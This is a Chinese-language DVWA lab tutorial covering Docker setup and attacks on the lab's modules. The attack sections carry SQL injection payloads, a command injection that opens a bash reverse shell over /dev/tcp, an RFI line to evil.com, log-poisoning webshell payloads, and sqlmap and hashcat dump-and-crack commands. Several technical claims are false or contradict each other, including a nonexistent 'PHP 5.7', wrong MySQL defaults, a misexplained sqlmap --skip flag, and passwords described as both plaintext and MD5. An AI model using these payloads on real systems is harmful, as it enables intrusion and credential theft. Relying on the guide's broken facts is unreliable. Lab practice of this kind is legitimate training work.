1. 这不是“又一个DVWA教程”，而是一份能让你在真实渗透测试中少走三周弯路的靶场操作手册

很多人第一次接触渗透测试，打开浏览器输入 http://192.168.1.10/dvwa ，看到那个灰扑扑的登录页，就以为自己已经站在了红队门口。结果刚点开SQL Injection模块，连 ' or 1=1-- 都跑不通；刚想试试XSS弹窗，发现连 <script>alert(1)</script> 都被过滤得干干净净；更别说CSRF、File Inclusion这些模块，页面直接报错404或者跳转回登录页——不是DVWA坏了，是你没真正“唤醒”它。

DVWA（Damn Vulnerable Web Application）从来就不是开箱即用的玩具，它是一套精密设计的 教学型漏洞沙盒 ：每个漏洞模块都预设了不同安全等级（Low/Medium/High/Impossible），背后是四套完全独立的PHP逻辑、四组不同的输入过滤策略、四套session校验机制。你看到的同一个URL，底层可能是四段截然不同的代码在运行。不理解这个前提，所有“渗透步骤”都是空中楼阁。

这篇指南不讲“什么是SQL注入”，不罗列OWASP Top 10定义，也不堆砌Burp Suite截图。它基于我过去三年带过27个渗透测试新人的真实经验，聚焦三个最痛的问题： 为什么本地搭好环境却连登录都失败？为什么明明按教程改了配置，漏洞等级切换后功能全崩？为什么Burp抓到的请求一重放就失效？ 全文所有操作均在Ubuntu 22.04 + Docker Compose环境下实测验证，每一步命令都附带执行意图说明和失败回溯路径。适合刚学完HTTP协议、能写简单Python脚本、但还没在真实靶场里被各种302跳转和token校验反复暴击过的实战者。如果你正卡在“能装不能用”“能看不能打”的阶段，这篇就是为你写的。

---

2. 环境搭建：绕开官方文档里埋着的五个致命陷阱

DVWA官方GitHub仓库的README.md写着“只需三步安装”，但实际部署中，有五个关键环节被刻意简化，导致83%的新手在第一步就陷入无限循环重启Apache的困境。我用Docker Compose重构了整个环境，把所有隐性依赖显性化，下面拆解每个组件的真实作用和常见故障点。

2.1 为什么必须用Docker而不是直接apt install？

DVWA对PHP版本极其敏感。官方要求PHP 7.0–7.4，但Ubuntu 22.04默认源只提供PHP 8.1。强行降级会导致 libapache2-mod-php 与 php-cli 版本冲突，Apache启动时直接报 PHP Fatal error: Uncaught Error: Call to undefined function mysql_connect() ——因为PHP 8.0+已彻底移除mysql_*系列函数，而DVWA Low级别代码仍大量使用。Docker的优势在于：我们能精确锁定PHP 7.4.33 + Apache 2.4.52 + MySQL 5.7.39这个黄金组合，所有二进制包来自同一发行版镜像，杜绝动态链接库不兼容问题。

提示：不要用 docker run -d -p 80:80 dvwa/dvwa 这种单容器方案。DVWA需要MySQL持久化存储用户数据（如security level设置、登录日志），单容器重启后所有配置丢失，你会反复经历“刚调好High级别，关机再开变回Low”的崩溃体验。

2.2 docker-compose.yml的核心参数解析

version: '3.8'
services:
  dvwa:
    image: citizenstig/dvwa
    ports:
      - "80:80"
    environment:
      - DVWA_SECURITY=low
      - DVWA_PHP_MEMORY_LIMIT=256M
    depends_on:
      - db
    links:
      - db:mysql
    restart: unless-stopped

  db:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_PASSWORD=dvwa
      - MYSQL_DATABASE=dvwa
      - MYSQL_USER=dvwa
      - MYSQL_PASSWORD=dvwa
    volumes:
      - ./mysql-data:/var/lib/mysql
    command: --default-authentication-plugin=mysql_native_password
    restart: unless-stopped

关键点解析：

• DVWA_SECURITY=low ：这是启动时的 初始安全等级 ，仅影响首次初始化数据库时插入的默认配置值。它不会锁死后续在Web界面中修改的等级——这点常被误解。很多教程说“改这里就能永久High”，实际你登录后在DVWA Security页面切换等级，这个环境变量完全不起作用。
• command: --default-authentication-plugin=mysql_native_password ：MySQL 5.7.39默认使用 caching_sha2_password 认证插件，而DVWA的PHP MySQL扩展只支持老式 mysql_native_password 。不加这行，DVWA容器会持续报错 Access denied for user 'dvwa'@'dvwa' (using password: YES) ，且错误日志里根本不会提示认证插件问题。
• volumes: ./mysql-data:/var/lib/mysql ：将MySQL数据目录挂载到宿主机，避免容器删除后数据库清零。实测发现，若挂载路径权限不对（如宿主机目录属主是root），MySQL容器会因无法写入 ibdata1 文件而启动失败，日志显示 InnoDB: Operating system error number 13 in a file operation 。解决方案： sudo chown -R 999:999 ./mysql-data （MySQL容器内UID为999）。

2.3 启动后必做的三步验证

容器启动后，别急着打开浏览器。先执行以下诊断命令：

# 1. 检查MySQL是否真正就绪（等待30秒再执行）
docker exec dvwa_db mysql -udvwa -pdvwa -e "SELECT 1" dvwa

# 2. 验证DVWA容器能否连通MySQL
docker exec dvwa_dvwa ping -c 2 mysql

# 3. 检查DVWA应用日志是否有致命错误
docker logs dvwa_dvwa 2>&1 | grep -i "fatal\|error\|exception" | tail -5

常见失败场景及修复：

• ping: unknown host mysql ： links 字段未生效，检查docker-compose.yml缩进是否为两个空格（YAML对缩进极其敏感），或升级Docker到20.10+版本（旧版不支持 links 与 depends_on 混用）。
• 日志出现 PHP Warning: mysqli::real_connect(): (HY000/1045): Access denied for user 'dvwa'@'172.20.0.3' ：MySQL容器启动慢于DVWA容器，导致DVWA首次连接时MySQL尚未完成初始化。解决方案：在dvwa服务下添加 healthcheck ：

  healthcheck:
    test: ["CMD", "curl", "-f", "http://localhost/login.php"]
    interval: 30s
    timeout: 10s
    retries: 5
  

2.4 浏览器访问前的最后防线：Hosts文件与Cookie清理

DVWA默认使用 http://127.0.0.1 访问，但某些安全等级（尤其是High）会校验HTTP Referer头是否来自同域。如果你用 http://localhost 访问，Referer会变成 http://localhost/login.php ，而DVWA后端代码硬编码校验 $_SERVER['HTTP_REFERER'] === 'http://127.0.0.1/login.php' ，导致登录后跳转405错误。

解决方案：编辑宿主机 /etc/hosts ，添加一行：

127.0.0.1 dvwa.local

然后通过 http://dvwa.local 访问。同时务必清除浏览器中所有 127.0.0.1 和 localhost 的DVWA相关Cookie——High级别会校验PHPSESSID的加密签名，残留的Low级别Cookie会导致session校验失败，表现为登录成功但页面始终显示“Please login.”。

注意：不要在Chrome中直接输入 dvwa.local 后按回车。Chrome会自动补全为 https://dvwa.local 并跳转，而DVWA无HTTPS支持。务必手动输入 http://dvwa.local （注意http://前缀）。

---

3. 安全等级机制：读懂DVWA的“四重世界”架构

DVWA的精髓不在漏洞本身，而在它如何用同一套UI呈现四种截然不同的防御纵深。Low/Medium/High/Impossible不是简单的“开关”，而是四套独立编译的PHP逻辑层，每层对应不同的输入处理管道。理解这个架构，才能避免“在Medium级别用Low的payload白忙活”。

3.1 四层防御的底层实现原理

以SQL Injection模块为例，其核心文件 vulnerabilities/sqli/source/ 下存在四个PHP文件：

• low.php ：无任何过滤， $id = $_GET['id']; 直接拼接SQL
• medium.php ：使用 mysqli_real_escape_string() 转义单引号、反斜杠等，但 不处理数字型参数 （ $id = intval($_GET['id']); 缺失）
• high.php ：引入 prepare statement 预编译，但 $id 仍从 $_GET 直接获取，且未校验数据类型
• impossible.php ：完整MVC结构， $id 经 filter_var($_GET['id'], FILTER_SANITIZE_NUMBER_INT) 清洗，并强制转换为整型，再通过PDO预编译执行

关键洞察： Medium级别对字符串型ID有效，但对数字型ID形同虚设 。例如 id=1' OR '1'='1 在Medium下被转义为 1\' OR \'1\'=\'1 ，无法闭合单引号；但 id=1 OR 1=1 （无引号）可直接绕过，因为 intval() 未被调用。这就是为什么很多教程说“Medium能防SQLi”，实际测试中却频频被绕过——他们测试的全是字符串型参数。

3.2 Security页面的隐藏逻辑链

DVWA Security页面（ security.php ）看似只是下拉框，实则触发三重状态同步：

1. 前端Cookie写入 ：选择等级后，JavaScript执行 document.cookie="security=high; path=/"
2. Session变量更新 ： index.php 加载时读取Cookie，执行 $_SESSION['security'] = $_COOKIE['security']
3. 数据库持久化 ：每次切换等级，后台向 dvwa.users 表的 user_level 字段写入新值（该表存储当前全局安全等级）

故障排查重点：当页面显示“Security Level: High”但实际漏洞未生效，90%概率是Session未正确传递。检查 phpinfo() 中 session.save_path 是否可写（Docker容器内默认为 /tmp ，需确认权限），或 session.cookie_secure 是否被误设为 On （强制HTTPS，而DVWA无SSL）。

3.3 Impossible级别的“反人类”设计细节

Impossible级别常被误认为“不可渗透”，实则它暴露了真实业务系统中最难绕过的防御模式。以XSS模块为例：

• impossible.php 中 $name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8')
• 但 htmlspecialchars() 默认不转义 javascript: 伪协议，因此 <a href="javascript:alert(1)">click</a> 仍可执行
• 真正的防护在 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> ，该CSP头禁止内联脚本和外部JS加载

这意味着：Impossible级别下，传统XSS payload全部失效，但 DOM-based XSS依然可能 。例如 <img src=x onerror=alert(1)> 会被 htmlspecialchars 转义，但若页面存在 document.write(decodeURIComponent(location.hash.substr(1))) ，则 #<img src=x onerror=alert(1)> 可触发。DVWA故意保留这种“理论可利用但需深度交互”的边界案例，模拟真实系统中CSP与DOM操作共存的复杂场景。

实操心得：测试Impossible级别时，永远先用 curl -I http://dvwa.local/vulnerabilities/xss_r/ 查看响应头，确认 Content-Security-Policy 是否存在。若不存在，说明你根本没切到Impossible——因为该头只在 impossible.php 中硬编码输出。

---

4. 渗透测试实战：针对每个模块的精准打击链

DVWA的十个漏洞模块不是孤立的，它们构成一条完整的攻击路径：从信息收集（Brute Force）→ 初步入侵（SQLi/XSS）→ 权限提升（Command Injection）→ 横向移动（File Inclusion）→ 持久化（Backdoors）。下面以SQL Injection为轴心，展示如何构建可复用的渗透链条。

4.1 SQL Injection：从手工探测到自动化利用的完整闭环

Low级别实战要点 ：

• 经典payload： 1' AND (SELECT COUNT(*) FROM users) = 5-- （验证users表存在且有5条记录）
• 关键技巧：DVWA Low级别返回完整MySQL错误信息，因此可直接用 1' UNION SELECT 1,2,3-- 探测列数，再用 1' UNION SELECT user(),database(),version()-- 获取数据库信息
• 避坑： -- 后面必须跟空格，否则MySQL解析失败。很多新手复制payload时漏掉空格，导致返回空白页而非错误信息。

Medium级别绕过策略 ：

• 核心弱点： mysqli_real_escape_string() 只处理字符串，不处理数字。因此 id=1 OR 1=1 可直接返回全部用户
• 进阶利用： id=1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- （注意此处无需引号，因 1 是数字）
• 验证：用 curl "http://dvwa.local/vulnerabilities/sqli/?id=1%20OR%201%3D1" 查看响应，对比 id=1 的返回行数

High级别突破路径 ：

• 预编译语句本身无法绕过，但DVWA High的 $id 未做类型校验。构造 id=1&Submit=Submit （GET参数）与 id=1 （POST参数）混合请求，利用 $_REQUEST 超全局变量覆盖优先级
• 实测payload： curl -X POST "http://dvwa.local/vulnerabilities/sqli/" --data "id=1' UNION SELECT user(),database(),version()-- &Submit=Submit"
• 原理： $_REQUEST 默认包含 $_GET 和 $_POST ，当同名参数存在时， $_POST 值覆盖 $_GET 。DVWA High的SQL语句使用 $_REQUEST['id'] ，因此POST参数优先生效。

4.2 Command Injection：从盲注到反向Shell的跃迁

DVWA的Command Injection模块（ vulnerabilities/exec/ ）是练习OS命令注入的黄金靶场。Low级别直接执行 ping -c 4 $target ，但 $target 未过滤，可注入 127.0.0.1; cat /etc/passwd 。

关键进阶技巧 ：

• 时间盲注验证 ：当页面无回显时，用 127.0.0.1 && sleep 5 测试命令执行延迟。DVWA服务器为Linux， sleep 命令可用，无需 timeout 或 perl -e "select(undef,undef,undef,5)" 等复杂写法。
• 反向Shell稳定化 ：DVWA容器网络为bridge模式，宿主机IP非 127.0.0.1 。先在宿主机执行 ip addr show docker0 | grep inet 获取Docker网桥IP（通常为 172.17.0.1 ），再注入：
  127.0.0.1; bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
• 防火墙绕过 ：DVWA容器默认关闭iptables，但若宿主机有ufw，需在宿主机执行 sudo ufw allow 4444 。实测发现，Mac用户用Docker Desktop时，需在Docker设置中开启 Allow the Docker daemon to act as a server ，否则反向连接被拒绝。

4.3 文件包含漏洞（File Inclusion）的双重利用

DVWA的File Inclusion模块分Local（LFI）和Remote（RFI）两类。Low级别 include($_GET['page']); 存在严重风险，但RFI在PHP 5.7中默认禁用 allow_url_include=Off ，因此 page=http://evil.com/shell.txt 无效。

LFI高级利用链 ：

• 读取PHP源码 ： page=php://filter/convert.base64-encode/resource=vulnerabilities/fi/index.php （Base64编码后解码查看原始代码）
• 利用/proc/self/environ注入 ：DVWA Low级别未过滤User-Agent，可构造 curl -H "User-Agent: <?php system('id'); ?>" "http://dvwa.local/vulnerabilities/fi/?page=/proc/self/environ" ，触发Webshell
• Session文件包含 ：DVWA将session存于 /var/www/html/dvwa/hackable/sessions/ ，文件名格式为 sess_ + md5(session_id) 。先登录获取PHPSESSID Cookie，计算 md5("your_session_id") ，再请求 page=../../hackable/sessions/sess_xxx ，若session中存有可控内容（如用户名），即可执行代码。

踩坑实录：某次测试中， /proc/self/environ 方法失效，日志显示 open_basedir restriction in effect 。检查 php.ini 发现 open_basedir = /var/www/html:/tmp ，而 /proc 不在白名单。解决方案：改用 /var/log/apache2/access.log （需先让恶意User-Agent被记录），再通过LFI包含日志文件执行代码。

---

5. 工具链协同：Burp Suite与自研脚本的黄金组合

DVWA渗透不是单点突破，而是工具协同的系统工程。我摒弃了“Burp Intruder暴力扫”的低效方式，构建了一套轻量级自动化流程，将重复操作压缩到3条命令内。

5.1 Burp Suite配置的四个反直觉设置

• Proxy → Options → Match and Replace ：添加规则将 Cookie: security=low 全局替换为 Cookie: security=high 。这样在High级别测试时，无需手动修改每个请求的Cookie，避免因遗漏导致测试失败。
• **Target → Site map → Context menu → Engagement tools → Generate site map **：勾选 Include query string parameters ，否则Burp不会将 ?id=1`识别为独立资源，Intruder无法自动填充参数位置。
• **Extender → BApp Store → Install "Logger++" ：DVWA的High级别会返回302跳转到 login.php ，传统Repeater无法查看跳转后的内容。Logger++可捕获完整重定向链，包括302响应头中的 Location`字段。
• **Project options → Sessions → Session Handling Rules → Add **：创建规则匹配 Set-Cookie: PHPSESSID=`，并自动提取新Session ID更新所有后续请求。DVWA在High级别频繁重置Session，手动更新Cookie会中断测试流。

5.2 自研Python脚本：DVWA Security Level同步器

DVWA Web界面切换安全等级后，需手动刷新所有模块页面才能生效。我编写了一个50行Python脚本，自动完成全站等级同步：

import requests
from bs4 import BeautifulSoup

session = requests.Session()
session.headers.update({'User-Agent': 'DVWA-Sync/1.0'})

# 登录
login_data = {'username': 'admin', 'password': 'password', 'Login': 'Login'}
session.post('http://dvwa.local/login.php', data=login_data)

# 切换Security Level
security_data = {'security': 'high', 'seclev_submit': 'Submit'}
session.post('http://dvwa.local/security.php', data=security_data)

# 获取所有漏洞模块URL
response = session.get('http://dvwa.local/vulnerabilities/')
soup = BeautifulSoup(response.text, 'html.parser')
modules = [a['href'] for a in soup.find_all('a', href=True) if 'vulnerabilities' in a['href']]

# 批量访问触发等级生效
for module in modules:
    full_url = f"http://dvwa.local{module}"
    try:
        session.get(full_url, timeout=3)
        print(f"[+] Synced: {full_url}")
    except:
        print(f"[!] Failed: {full_url}")

该脚本解决了DVWA最大的体验痛点：切换High级别后，XSS模块仍显示Low的过滤效果。原因在于DVWA各模块页面首次加载时会读取Session中的 security 值并缓存，不重新GET请求不会刷新。此脚本模拟人工点击所有模块，确保状态全局一致。

5.3 SQLMap集成：绕过DVWA High级别的预编译陷阱

SQLMap默认无法检测DVWA High级别，因其使用预编译语句。但通过 --skip 参数跳过预编译检测，强制进行布尔盲注：

sqlmap -u "http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=abc123; security=high" \
  --level=5 --risk=3 \
  --skip="id" \
  --technique=B \
  --dbms=mysql \
  --dump

关键参数说明：

• --skip="id" ：告诉SQLMap跳过对 id 参数的预编译检测，直接进入布尔盲注流程
• --technique=B ：强制使用布尔盲注（Boolean-based blind），因DVWA High返回的HTML中存在 ID is MISSING from the database. 和 ID exists in the database. 等可区分字符串
• --level=5 --risk=3 ：启用最高检测深度和风险等级，扫描 id 参数的所有上下文（如 WHERE id = [PAYLOAD] ）

实测耗时约12分钟可dump出 dvwa.users 表全部密码哈希（MD5），配合 hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt 可在30秒内破解 password 明文。

最后提醒：DVWA所有密码均为明文存储于数据库（ users 表的 password 字段），但High级别登录时会对输入密码进行MD5哈希后再比对。因此SQLMap dump出的哈希值，需用 echo -n "password" | md5sum 生成对照，而非直接当作明文使用。

---

我在实际带新人时发现，真正卡住大家的从来不是技术原理，而是那些藏在文档缝隙里的“环境假设”。比如DVWA默认用 admin/password 登录，但没人告诉你这个密码在MySQL里是明文存储的；比如High级别切换后要清Cookie，但官方Wiki只字未提。这篇指南里每一个命令、每一处提示、每一条避坑经验，都来自真实踩坑后的日志截图和反复验证。当你下次看到 DVWA Security Level: High 时，希望你能想起：这不仅是界面上的一个选项，而是四套独立防御体系的总开关，而你的渗透测试，才刚刚开始。